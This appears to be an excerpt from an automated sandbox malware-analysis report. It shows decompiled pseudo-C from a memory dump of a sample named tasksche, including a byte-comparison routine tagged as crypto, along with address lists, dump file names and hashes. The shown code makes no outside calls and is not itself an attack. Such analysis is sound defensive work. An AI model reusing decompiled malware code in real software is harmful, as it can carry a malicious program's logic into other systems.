							goto L20;
						}
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						L5:
						_t526 = 0;
						L99:
						return _t526;
					}
				} else {
					 *((char*)(_t608 + 0x2c)) = 1;
					_t607 = E0041462B(_t608, __ecx, _t608 + 4, _t608 + 0x18, _t608 + 0x30);
					if(_t607 != 0) {
						goto L3;
					} else {
						 *((char*)(_t608 + 0x4ad0)) = 1;
						return _t607;
					}
				}
			}

0x00415da1
0x00415da9
0x00415dab
0x00415dd2
0x00415dd2
0x00415dd9
0x00415dde
0x00415de0
0x00415df3
0x00415dfd
0x00415e00
0x00415e02
0x00415e05
0x00415e08
0x00415e0b
0x00415e0d
0x00415e0d
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00415e20
0x00415e20
0x00415e23
0x0041639a
0x0041639a
0x00000000
0x0041639a
0x00415e29
0x00415e37
0x00415e37
0x00415e3a
0x00415e49
0x00415e49
0x00415e4f
0x00416784
0x00416784
0x00000000
0x00416784
0x00000000
0x00415e4f
0x00415e3c
0x00415e43
0x00000000
0x00000000
0x00000000
0x00415e43
0x00415e2e
0x00415e31
0x00000000
0x00000000
0x00000000
0x00415e55
0x00415e5b
0x00415e62
0x00415e68
0x00415e9f
0x00415ea1
0x00415ea6
0x00415eac
0x00415eb1
0x00415eb5
0x00415ee0
0x00415ee1
0x00415ee8
0x00415eeb
0x00415f03
0x00415f06
0x00415f10
0x00415f12
0x00415f18
0x00415f1f
0x00415f24
0x00415f28
0x00415f2b
0x00415f2d
0x00415f2d
0x00415f2d
0x00415f2f
0x00415f37
0x00415f3c
0x00415f3e
0x00415f54
0x00415f59
0x00416373
0x00416375
0x004163a3
0x004163a8
0x0041654d
0x0041654d
0x00416552
0x00416558
0x0041655b
0x0041656a
0x0041656f
0x00416572
0x00416577
0x0041657d
0x00416582
0x00416589
0x004165b4
0x004165b5
0x004165bc
0x004165bf
0x004165da
0x004165dd
0x004165e7
0x004165e9
0x004165ef
0x004165f9
0x004165fe
0x00416605
0x0041660b
0x0041660d
0x0041660d
0x0041660d
0x0041660f
0x00416617
0x00416617
0x0041661a
0x0041662c
0x00416632
0x00416636
0x00416637
0x0041663a
0x0041663c
0x00416640
0x00416647
0x0041664d
0x00416653
0x0041665b
0x0041665d
0x0041665d
0x00416660
0x00416663
0x00416663
0x0041661c
0x0041661c
0x0041661f
0x0041661f
0x00416669
0x00416672
0x00416678
0x0041667b
0x0041667e
0x00416681
0x00416683
0x00416742
0x00416742
0x00416689
0x00416689
0x0041668c
0x00000000
0x00000000
0x00416692
0x0041669a
0x0041669d
0x004166a2
0x004166a8
0x004166ab
0x004166ae
0x0041670a
0x0041670d
0x00416483
0x00416483
0x00416487
0x00000000
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x004162a3
0x004162a3
0x004162a3
0x00000000
0x00415e10
0x00000000
0x004162ad
0x004162ad
0x004162b6
0x004162b9
0x004162b9
0x00000000
0x00415e10
0x00000000
0x004162c1
0x004162c1
0x004162c8
0x004162cb
0x004162cb
0x00000000
0x004164a1
0x004164a1
0x004164ab
0x004164ab
0x00000000
0x004162d4
0x004162d4
0x004162db
0x004162de
0x004162de
0x00000000
0x004164b4
0x004164b4
0x004164be
0x004164be
0x00000000
0x004162e7
0x004162e7
0x004162ee
0x004162f1
0x004162f1
0x00000000
0x004164c7
0x004164c7
0x004164d1
0x004164d1
0x00000000
0x004162fa
0x004162fa
0x00416301
0x00416304
0x00416304
0x00000000
0x004164da
0x004164da
0x004164e4
0x004164e4
0x00000000
0x0041630d
0x0041630d
0x00416314
0x00416317
0x00416317
0x00416320
0x00416323
0x00416323
0x00416326
0x00416329
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x0041632e
0x0041632e
0x0041632e
0x00416338
0x0041633e
0x00416344
0x0041634f
0x00416358
0x0041635e
0x00416362
0x00416366
0x00416369
0x00416369
0x0041636e
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x0041674a
0x00416750
0x00416759
0x00416764
0x00416767
0x0041676d
0x00416776
0x0041677a
0x0041677a
0x0041677f
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e10
0x00415e16
0x00415e19
0x00415e1b
0x00415e1e
0x00000000
0x00000000
0x00000000
0x00415e1e
0x00000000
0x00415e10
0x004163b9
0x004163bf
0x004163c4
0x004163cc
0x004163d2
0x004163d5
0x004163d7
0x00000000
0x00000000
0x004163dd
0x004163df
0x00000000
0x00000000
0x004163e5
0x004163ed
0x004163f0
0x004163f3
0x004163f7
0x004163fa
0x004163fd
0x00416400
0x00416457
0x0041645a
0x00000000
0x00000000
0x0041645c
0x0041645c
0x0041645f
0x00416462
0x0041646a
0x0041646f
0x00416473
0x00416477
0x0041647b
0x0041647e
0x0041647e
0x0041647e
0x0041647e
0x00000000
0x00416462
0x00416402
0x00416405
0x00000000
0x00000000
0x00416407
0x00416407
0x0041640a
0x0041640d
0x00416410
0x00416412
0x00416414
0x00416418
0x0041641d
0x00416423
0x00416429
0x0041642f
0x00416435
0x0041643b
0x00416441
0x00416444
0x00416447
0x0041644a
0x0041644a
0x0041644a
0x0041644a
0x0041644f
0x0041644f
0x00416452
0x00000000
0x00416387
0x0041638d
0x00416392
0x00416392
0x00000000
0x00416508
0x00416508
0x00416508
0x00416512
0x00416518
0x0041651e
0x00416529
0x00416532
0x00416538
0x0041653c
0x00416540
0x00416543
0x00416543
0x00000000
0x004164ed
0x004164ed
0x004164f7
0x004164f7
0x00416500
0x00000000
0x00416500
0x0041648d
0x0041648d
0x00416496
0x00416499
0x00416499
0x00416716
0x00416716
0x00416719
0x0041671c
0x00416724
0x00416729
0x0041672d
0x00416731
0x00416735
0x00416738
0x00416738
0x00416738
0x00416738
0x00000000
0x0041673d
0x004166b0
0x004166b3
0x00000000
0x00000000
0x004166bc
0x004166bf
0x004166bf
0x004166c2
0x004166c5
0x004166c8
0x004166ca
0x004166ce
0x004166d3
0x004166d9
0x004166df
0x004166e5
0x004166eb
0x004166f1
0x004166f7
0x004166fa
0x004166fd
0x00416700
0x00416700
0x00416700
0x00416700
0x00000000
0x00416705
0x00416683
0x004165c1
0x004165c8
0x004165c8
0x004165ca
0x00000000
0x00000000
0x004165cc
0x004165cd
0x004165d0
0x004165d3
0x00000000
0x00000000
0x00000000
0x004165d5
0x004165d7
0x00000000
0x004165d7
0x0041658d
0x00416590
0x0041659a
0x004165a2
0x004165a7
0x004165aa
0x00000000
0x00000000
0x00000000
0x00000000
0x0041655d
0x0041655d
0x00416560
0x00416562
0x00416563
0x00416566
0x00416566
0x00000000
0x0041655d
0x004163ae
0x004163ae
0x004163b1
0x004163b1
0x0041637a
0x0041637e
0x00416383
0x00416385
0x00000000
0x00000000
0x00000000
0x00416385
0x00415f5f
0x00415f64
0x00415f67
0x00415f79
0x00415f7f
0x00415f84
0x00415f87
0x00415f89
0x00415f8d
0x00415f94
0x00415f9a
0x00415fa0
0x00415fa8
0x00415faa
0x00415faa
0x00415fad
0x00415fad
0x00415f69
0x00415f6c
0x00415f6c
0x00415fb5
0x00415fb8
0x00415fbd
0x00415fc3
0x00415fc8
0x00415fcf
0x00415ffa
0x00415ffb
0x00416002
0x00416005
0x00416020
0x00416023
0x0041602d
0x0041602f
0x00416035
0x0041603f
0x00416044
0x0041604b
0x00416051
0x00416053
0x00416053
0x00416053
0x00416055
0x00000000
0x00416055
0x00416007
0x0041600e
0x0041600e
0x00416010
0x00000000
0x00000000
0x00416012
0x00416013
0x00416016
0x00416019
0x00000000
0x00000000
0x00000000
0x0041601b
0x0041601d
0x00000000
0x00415fd1
0x00415fd3
0x00415fd6
0x00415fe0
0x00415fe8
0x00415fed
0x00415ff0
0x0041605d
0x0041605d
0x00416060
0x00416072
0x00416078
0x0041607c
0x0041607f
0x00416081
0x00416190
0x00416190
0x00416193
0x00416199
0x0041619f
0x004161a2
0x004161a8
0x004161aa
0x004161ad
0x004161b3
0x004161b5
0x004161b5
0x004161b5
0x004161b5
0x004161b3
0x004161a8
0x004161bb
0x004161c1
0x004161c7
0x004161ca
0x004161cd
0x004161d0
0x004161d3
0x004161d8
0x004161da
0x004161e3
0x004161e9
0x004161ec
0x004161ee
0x00000000
0x004161f4
0x004161f4
0x004161f6
0x00000000
0x00000000
0x004161fc
0x00416204
0x00416207
0x0041620a
0x0041620e
0x00416211
0x00416214
0x00416217
0x00416274
0x00416277
0x00000000
0x00000000
0x0041627c
0x0041627c
0x0041627f
0x00416282
0x0041628a
0x0041628f
0x00416293
0x00416297
0x0041629b
0x0041629e
0x0041629e
0x0041629e
0x0041629e
0x00000000
0x00416282
0x00416219
0x0041621c
0x00000000
0x00000000
0x00416224
0x00416224
0x00416227
0x0041622a
0x0041622d
0x0041622f
0x00416231
0x00416235
0x00416237
0x0041623a
0x0041623d
0x00416240
0x00416243
0x00416246
0x00416249
0x0041624c
0x0041624f
0x00416252
0x00416255
0x00416258
0x0041625b
0x0041625e
0x00416261
0x00416264
0x00416267
0x00416267
0x00416267
0x00416267
0x0041626c
0x0041626f
0x00000000
0x0041626f
0x004161ee
0x00416087
0x0041608a
0x0041616d
0x00416174
0x0041617a
0x00416180
0x00416188
0x0041618a
0x0041618a
0x0041618d
0x00000000
0x0041618d
0x00416090
0x00416094
0x0041609b
0x004160a0
0x004160a8
0x004160b1
0x004160b7
0x004160b9
0x004160b9
0x004160bc
0x004160bc
0x004160c1
0x004160c6
0x004160cc
0x004160d1
0x004160d8
0x00416103
0x00416104
0x0041610b
0x0041610e
0x00416129
0x0041612c
0x00416136
0x00416138
0x0041613e
0x00416148
0x0041614d
0x00416154
0x0041615a
0x0041615c
0x0041615c
0x0041615c
0x0041615e
0x00000000
0x0041615e
0x00416110
0x00416117
0x00416117
0x00416119
0x00000000
0x00000000
0x0041611b
0x0041611c
0x0041611f
0x00416122
0x00000000
0x00000000
0x00000000
0x00416124
0x00416126
0x00000000
0x004160da
0x004160dc
0x004160df
0x004160e9
0x004160f1
0x004160f6
0x004160f9
0x00416166
0x00416166
0x00000000
0x00416166
0x004160d8
0x00416063
0x00000000
0x00416063
0x00415fcf
0x00415f49
0x00415f4c
0x00000000
0x00415f4c
0x00415eed
0x00415ef1
0x00415ef1
0x00415ef3
0x00000000
0x00000000
0x00415ef5
0x00415ef6
0x00415ef9
0x00415efc
0x00000000
0x00000000
0x00000000
0x00415efe
0x00415f00
0x00000000
0x00415f00
0x00415eb9
0x00415ebc
0x00415ec6
0x00415ece
0x00415ed3
0x00415ed6
0x00000000
0x00415ed6
0x00415e6a
0x00415e70
0x00000000
0x00000000
0x00415e74
0x00415e7f
0x00415e85
0x00000000
0x00000000
0x00415e8b
0x00000000
0x00000000
0x00415e93
0x00415e99
0x00000000
0x00000000
0x00000000
0x00415e99
0x00415de2
0x00415de2
0x00415de9
0x00415de9
0x0041639c
0x00000000
0x0041639c
0x00415dad
0x00415db9
0x00415dbd
0x00415dc4
0x00000000
0x00415dc6
0x00415dc6
0x00000000
0x00415dc6
0x00415dc4

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction ID: 136bcfac07b0c46142f126060f48d767d5d9002a5a6c7f55271a6c6e067ee92a
Opcode Fuzzy Hash: 55f74d88c168b2656ab75066bc4e011c1757566443c1fcad1fbcf06b528a1986
Instruction Fuzzy Hash: 8C72B070A04645DFCB19CF68C5806EDBBB1FF45308F2981AED8598B742C339E991CB59

Uniqueness

Uniqueness Score: -1.00%

Function 0041BCD9 Relevance: .4, Instructions: 384
COMMONCrypto

Download Yara Rule

C-Code - Quality: 100%

			E0041BCD9(void* __eax, void* __ecx) {
				void* _t196;
				signed int _t197;
				void* _t200;
				signed char _t206;
				signed char _t207;
				signed char _t208;
				signed char _t210;
				signed char _t211;
				signed int _t216;
				signed int _t316;
				void* _t319;
				void* _t321;
				void* _t323;
				void* _t325;
				void* _t327;
				void* _t330;
				void* _t332;
				void* _t334;
				void* _t337;
				void* _t339;
				void* _t341;
				void* _t344;
				void* _t346;
				void* _t348;
				void* _t351;
				void* _t353;
				void* _t355;
				void* _t358;
				void* _t360;
				void* _t362;

				_t200 = __ecx;
				_t196 = __eax;
				if( *((intOrPtr*)(__eax - 0x1f)) ==  *((intOrPtr*)(__ecx - 0x1f))) {
					_t316 = 0;
					L17:
					if(_t316 != 0) {
						goto L1;
					}
					_t206 =  *(_t196 - 0x1b);
					if(_t206 ==  *(_t200 - 0x1b)) {
						_t316 = 0;
						L28:
						if(_t316 != 0) {
							goto L1;
						}
						_t207 =  *(_t196 - 0x17);
						if(_t207 ==  *(_t200 - 0x17)) {
							_t316 = 0;
							L39:
							if(_t316 != 0) {
								goto L1;
							}
							_t208 =  *(_t196 - 0x13);
							if(_t208 ==  *(_t200 - 0x13)) {
								_t316 = 0;
								L50:
								if(_t316 != 0) {
									goto L1;
								}
								if( *(_t196 - 0xf) ==  *(_t200 - 0xf)) {
									_t316 = 0;
									L61:
									if(_t316 != 0) {
										goto L1;
									}
									_t210 =  *(_t196 - 0xb);
									if(_t210 ==  *(_t200 - 0xb)) {
										_t316 = 0;
										L72:
										if(_t316 != 0) {
											goto L1;
										}
										_t211 =  *(_t196 - 7);
										if(_t211 ==  *(_t200 - 7)) {
											_t316 = 0;
											L83:
											if(_t316 != 0) {
												goto L1;
											}
											_t319 = ( *(_t196 - 3) & 0x000000ff) - ( *(_t200 - 3) & 0x000000ff);
											if(_t319 == 0) {
												L5:
												_t321 = ( *(_t196 - 2) & 0x000000ff) - ( *(_t200 - 2) & 0x000000ff);
												if(_t321 == 0) {
													L3:
													_t197 = ( *(_t196 - 1) & 0x000000ff) - ( *(_t200 - 1) & 0x000000ff);
													if(_t197 != 0) {
														_t197 = (0 | _t197 > 0x00000000) + (0 | _t197 > 0x00000000) - 1;
													}
													L2:
													return _t197;
												}
												_t216 = (0 | _t321 > 0x00000000) + (0 | _t321 > 0x00000000) - 1;
												if(_t216 != 0) {
													L86:
													_t197 = _t216;
													goto L2;
												} else {
													goto L3;
												}
											}
											_t216 = (0 | _t319 > 0x00000000) + (0 | _t319 > 0x00000000) - 1;
											if(_t216 == 0) {
												goto L5;
											}
											goto L86;
										}
										_t323 = (_t211 & 0x000000ff) - ( *(_t200 - 7) & 0x000000ff);
										if(_t323 == 0) {
											L76:
											_t325 = ( *(_t196 - 6) & 0x000000ff) - ( *(_t200 - 6) & 0x000000ff);
											if(_t325 == 0) {
												L78:
												_t327 = ( *(_t196 - 5) & 0x000000ff) - ( *(_t200 - 5) & 0x000000ff);
												if(_t327 == 0) {
													L80:
													_t316 = ( *(_t196 - 4) & 0x000000ff) - ( *(_t200 - 4) & 0x000000ff);
													if(_t316 != 0) {
														_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
													}
													goto L83;
												}
												_t316 = (0 | _t327 > 0x00000000) + (0 | _t327 > 0x00000000) - 1;
												if(_t316 != 0) {
													goto L1;
												}
												goto L80;
											}
											_t316 = (0 | _t325 > 0x00000000) + (0 | _t325 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L78;
										}
										_t316 = (0 | _t323 > 0x00000000) + (0 | _t323 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L76;
									}
									_t330 = (_t210 & 0x000000ff) - ( *(_t200 - 0xb) & 0x000000ff);
									if(_t330 == 0) {
										L65:
										_t332 = ( *(_t196 - 0xa) & 0x000000ff) - ( *(_t200 - 0xa) & 0x000000ff);
										if(_t332 == 0) {
											L67:
											_t334 = ( *(_t196 - 9) & 0x000000ff) - ( *(_t200 - 9) & 0x000000ff);
											if(_t334 == 0) {
												L69:
												_t316 = ( *(_t196 - 8) & 0x000000ff) - ( *(_t200 - 8) & 0x000000ff);
												if(_t316 != 0) {
													_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
												}
												goto L72;
											}
											_t316 = (0 | _t334 > 0x00000000) + (0 | _t334 > 0x00000000) - 1;
											if(_t316 != 0) {
												goto L1;
											}
											goto L69;
										}
										_t316 = (0 | _t332 > 0x00000000) + (0 | _t332 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L67;
									}
									_t316 = (0 | _t330 > 0x00000000) + (0 | _t330 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L65;
								}
								_t337 = ( *(_t196 - 0xf) & 0x000000ff) - ( *(_t200 - 0xf) & 0x000000ff);
								if(_t337 == 0) {
									L54:
									_t339 = ( *(_t196 - 0xe) & 0x000000ff) - ( *(_t200 - 0xe) & 0x000000ff);
									if(_t339 == 0) {
										L56:
										_t341 = ( *(_t196 - 0xd) & 0x000000ff) - ( *(_t200 - 0xd) & 0x000000ff);
										if(_t341 == 0) {
											L58:
											_t316 = ( *(_t196 - 0xc) & 0x000000ff) - ( *(_t200 - 0xc) & 0x000000ff);
											if(_t316 != 0) {
												_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
											}
											goto L61;
										}
										_t316 = (0 | _t341 > 0x00000000) + (0 | _t341 > 0x00000000) - 1;
										if(_t316 != 0) {
											goto L1;
										}
										goto L58;
									}
									_t316 = (0 | _t339 > 0x00000000) + (0 | _t339 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L56;
								}
								_t316 = (0 | _t337 > 0x00000000) + (0 | _t337 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L54;
							}
							_t344 = (_t208 & 0x000000ff) - ( *(_t200 - 0x13) & 0x000000ff);
							if(_t344 == 0) {
								L43:
								_t346 = ( *(_t196 - 0x12) & 0x000000ff) - ( *(_t200 - 0x12) & 0x000000ff);
								if(_t346 == 0) {
									L45:
									_t348 = ( *(_t196 - 0x11) & 0x000000ff) - ( *(_t200 - 0x11) & 0x000000ff);
									if(_t348 == 0) {
										L47:
										_t316 = ( *(_t196 - 0x10) & 0x000000ff) - ( *(_t200 - 0x10) & 0x000000ff);
										if(_t316 != 0) {
											_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
										}
										goto L50;
									}
									_t316 = (0 | _t348 > 0x00000000) + (0 | _t348 > 0x00000000) - 1;
									if(_t316 != 0) {
										goto L1;
									}
									goto L47;
								}
								_t316 = (0 | _t346 > 0x00000000) + (0 | _t346 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L45;
							}
							_t316 = (0 | _t344 > 0x00000000) + (0 | _t344 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L43;
						}
						_t351 = (_t207 & 0x000000ff) - ( *(_t200 - 0x17) & 0x000000ff);
						if(_t351 == 0) {
							L32:
							_t353 = ( *(_t196 - 0x16) & 0x000000ff) - ( *(_t200 - 0x16) & 0x000000ff);
							if(_t353 == 0) {
								L34:
								_t355 = ( *(_t196 - 0x15) & 0x000000ff) - ( *(_t200 - 0x15) & 0x000000ff);
								if(_t355 == 0) {
									L36:
									_t316 = ( *(_t196 - 0x14) & 0x000000ff) - ( *(_t200 - 0x14) & 0x000000ff);
									if(_t316 != 0) {
										_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
									}
									goto L39;
								}
								_t316 = (0 | _t355 > 0x00000000) + (0 | _t355 > 0x00000000) - 1;
								if(_t316 != 0) {
									goto L1;
								}
								goto L36;
							}
							_t316 = (0 | _t353 > 0x00000000) + (0 | _t353 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L34;
						}
						_t316 = (0 | _t351 > 0x00000000) + (0 | _t351 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L32;
					}
					_t358 = (_t206 & 0x000000ff) - ( *(_t200 - 0x1b) & 0x000000ff);
					if(_t358 == 0) {
						L21:
						_t360 = ( *(_t196 - 0x1a) & 0x000000ff) - ( *(_t200 - 0x1a) & 0x000000ff);
						if(_t360 == 0) {
							L23:
							_t362 = ( *(_t196 - 0x19) & 0x000000ff) - ( *(_t200 - 0x19) & 0x000000ff);
							if(_t362 == 0) {
								L25:
								_t316 = ( *(_t196 - 0x18) & 0x000000ff) - ( *(_t200 - 0x18) & 0x000000ff);
								if(_t316 != 0) {
									_t316 = (0 | _t316 > 0x00000000) + (0 | _t316 > 0x00000000) - 1;
								}
								goto L28;
							}
							_t316 = (0 | _t362 > 0x00000000) + (0 | _t362 > 0x00000000) - 1;
							if(_t316 != 0) {
								goto L1;
							}
							goto L25;
						}
						_t316 = (0 | _t360 > 0x00000000) + (0 | _t360 > 0x00000000) - 1;
						if(_t316 != 0) {
							goto L1;
						}
						goto L23;
					}
					_t316 = (0 | _t358 > 0x00000000) + (0 | _t358 > 0x00000000) - 1;
					if(_t316 != 0) {
						goto L1;
					}
					goto L21;
				} else {
					__edx =  *(__ecx - 0x1f) & 0x000000ff;
					__esi =  *(__eax - 0x1f) & 0x000000ff;
					__esi = ( *(__eax - 0x1f) & 0x000000ff) - ( *(__ecx - 0x1f) & 0x000000ff);
					if(__esi == 0) {
						L10:
						__esi =  *(__eax - 0x1e) & 0x000000ff;
						__edx =  *(__ecx - 0x1e) & 0x000000ff;
						__esi = ( *(__eax - 0x1e) & 0x000000ff) - ( *(__ecx - 0x1e) & 0x000000ff);
						if(__esi == 0) {
							L12:
							__esi =  *(__eax - 0x1d) & 0x000000ff;
							__edx =  *(__ecx - 0x1d) & 0x000000ff;
							__esi = ( *(__eax - 0x1d) & 0x000000ff) - ( *(__ecx - 0x1d) & 0x000000ff);
							if(__esi == 0) {
								L14:
								__esi =  *(__eax - 0x1c) & 0x000000ff;
								__edx =  *(__ecx - 0x1c) & 0x000000ff;
								__esi = ( *(__eax - 0x1c) & 0x000000ff) - ( *(__ecx - 0x1c) & 0x000000ff);
								if(__esi != 0) {
									0 = 0 | __esi > 0x00000000;
									__edx = (__esi > 0) + (__esi > 0) - 1;
									__esi = (__esi > 0) + (__esi > 0) - 1;
								}
								goto L17;
							}
							0 = 0 | __esi > 0x00000000;
							__edx = (__esi > 0) + (__esi > 0) - 1;
							__esi = __edx;
							if(__edx != 0) {
								goto L1;
							}
							goto L14;
						}
						0 = 0 | __esi > 0x00000000;
						__edx = (__esi > 0) + (__esi > 0) - 1;
						__esi = __edx;
						if(__edx != 0) {
							goto L1;
						}
						goto L12;
					}
					0 = 0 | __esi > 0x00000000;
					__edx = (__esi > 0) + (__esi > 0) - 1;
					__esi = __edx;
					if(__edx != 0) {
						goto L1;
					}
					goto L10;
				}
				L1:
				_t197 = _t316;
				goto L2;
			}

0x0041bcd9
0x0041bcd9
0x0041bcdf
0x0041bd5f
0x0041bd61
0x0041bd63
0x00000000
0x00000000
0x0041bd69
0x0041bd6f
0x0041bdee
0x0041bdf0
0x0041bdf2
0x00000000
0x00000000
0x0041bdf8
0x0041bdfe
0x0041be7d
0x0041be7f
0x0041be81
0x00000000
0x00000000
0x0041be87
0x0041be8d
0x0041bf0c
0x0041bf0e
0x0041bf10
0x00000000
0x00000000
0x0041bf1c
0x0041bf9c
0x0041bf9e
0x0041bfa0
0x00000000
0x00000000
0x0041bfa6
0x0041bfac
0x0041c02b
0x0041c02d
0x0041c02f
0x00000000
0x00000000
0x0041c035
0x0041c03b
0x0041c0ba
0x0041c0bc
0x0041c0be
0x00000000
0x00000000
0x0041c0cc
0x0041c0ce
0x0041bcb1
0x0041bcb9
0x0041bcbb
0x0041b897
0x0041b89f
0x0041b8a1
0x0041b8b2
0x0041b8b2
0x0041b4a7
0x0041c203
0x0041c203
0x0041bcc8
0x0041bcce
0x0041c0e7
0x0041c0e7
0x00000000
0x0041bcd4
0x00000000
0x0041bcd4
0x0041bcce
0x0041c0db
0x0041c0e1
0x00000000
0x00000000
0x00000000
0x0041c0e1
0x0041c044
0x0041c046
0x0041c05d
0x0041c065
0x0041c067
0x0041c07e
0x0041c086
0x0041c088
0x0041c09f
0x0041c0a7
0x0041c0a9
0x0041c0b6
0x0041c0b6
0x00000000
0x0041c0a9
0x0041c095
0x0041c099
0x00000000
0x00000000
0x00000000
0x0041c099
0x0041c074
0x0041c078
0x00000000
0x00000000
0x00000000
0x0041c078
0x0041c053
0x0041c057
0x00000000
0x00000000
0x00000000
0x0041c057
0x0041bfb5
0x0041bfb7
0x0041bfce
0x0041bfd6
0x0041bfd8
0x0041bfef
0x0041bff7
0x0041bff9
0x0041c010
0x0041c018
0x0041c01a
0x0041c027
0x0041c027
0x00000000
0x0041c01a
0x0041c006
0x0041c00a
0x00000000
0x00000000
0x00000000
0x0041c00a
0x0041bfe5
0x0041bfe9
0x00000000
0x00000000
0x00000000
0x0041bfe9
0x0041bfc4
0x0041bfc8
0x00000000
0x00000000
0x00000000
0x0041bfc8
0x0041bf26
0x0041bf28
0x0041bf3f
0x0041bf47
0x0041bf49
0x0041bf60
0x0041bf68
0x0041bf6a
0x0041bf81
0x0041bf89
0x0041bf8b
0x0041bf98
0x0041bf98
0x00000000
0x0041bf8b
0x0041bf77
0x0041bf7b
0x00000000
0x00000000
0x00000000
0x0041bf7b
0x0041bf56
0x0041bf5a
0x00000000
0x00000000
0x00000000
0x0041bf5a
0x0041bf35
0x0041bf39
0x00000000
0x00000000
0x00000000
0x0041bf39
0x0041be96
0x0041be98
0x0041beaf
0x0041beb7
0x0041beb9
0x0041bed0
0x0041bed8
0x0041beda
0x0041bef1
0x0041bef9
0x0041befb
0x0041bf08
0x0041bf08
0x00000000
0x0041befb
0x0041bee7
0x0041beeb
0x00000000
0x00000000
0x00000000
0x0041beeb
0x0041bec6
0x0041beca
0x00000000
0x00000000
0x00000000
0x0041beca
0x0041bea5
0x0041bea9
0x00000000
0x00000000
0x00000000
0x0041bea9
0x0041be07
0x0041be09
0x0041be20
0x0041be28
0x0041be2a
0x0041be41
0x0041be49
0x0041be4b
0x0041be62
0x0041be6a
0x0041be6c
0x0041be79
0x0041be79
0x00000000
0x0041be6c
0x0041be58
0x0041be5c
0x00000000
0x00000000
0x00000000
0x0041be5c
0x0041be37
0x0041be3b
0x00000000
0x00000000
0x00000000
0x0041be3b
0x0041be16
0x0041be1a
0x00000000
0x00000000
0x00000000
0x0041be1a
0x0041bd78
0x0041bd7a
0x0041bd91
0x0041bd99
0x0041bd9b
0x0041bdb2
0x0041bdba
0x0041bdbc
0x0041bdd3
0x0041bddb
0x0041bddd
0x0041bdea
0x0041bdea
0x00000000
0x0041bddd
0x0041bdc9
0x0041bdcd
0x00000000
0x00000000
0x00000000
0x0041bdcd
0x0041bda8
0x0041bdac
0x00000000
0x00000000
0x00000000
0x0041bdac
0x0041bd87
0x0041bd8b
0x00000000
0x00000000
0x00000000
0x0041bce1
0x0041bce1
0x0041bce5
0x0041bce9
0x0041bceb
0x0041bd02
0x0041bd02
0x0041bd06
0x0041bd0a
0x0041bd0c
0x0041bd23
0x0041bd23
0x0041bd27
0x0041bd2b
0x0041bd2d
0x0041bd44
0x0041bd44
0x0041bd48
0x0041bd4c
0x0041bd4e
0x0041bd54
0x0041bd57
0x0041bd5b
0x0041bd5b
0x00000000
0x0041bd4e
0x0041bd33
0x0041bd36
0x0041bd3a
0x0041bd3e
0x00000000
0x00000000
0x00000000
0x0041bd3e
0x0041bd12
0x0041bd15
0x0041bd19
0x0041bd1d
0x00000000
0x00000000
0x00000000
0x0041bd1d
0x0041bcf1
0x0041bcf4
0x0041bcf8
0x0041bcfc
0x00000000
0x00000000
0x00000000
0x0041bcfc
0x0041b0d2
0x0041b0d2
0x00000000

Memory Dump Source

Source File: 00000008.00000002.991127463.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.991115936.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991225031.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991254456.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991270425.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991293137.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.991303236.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

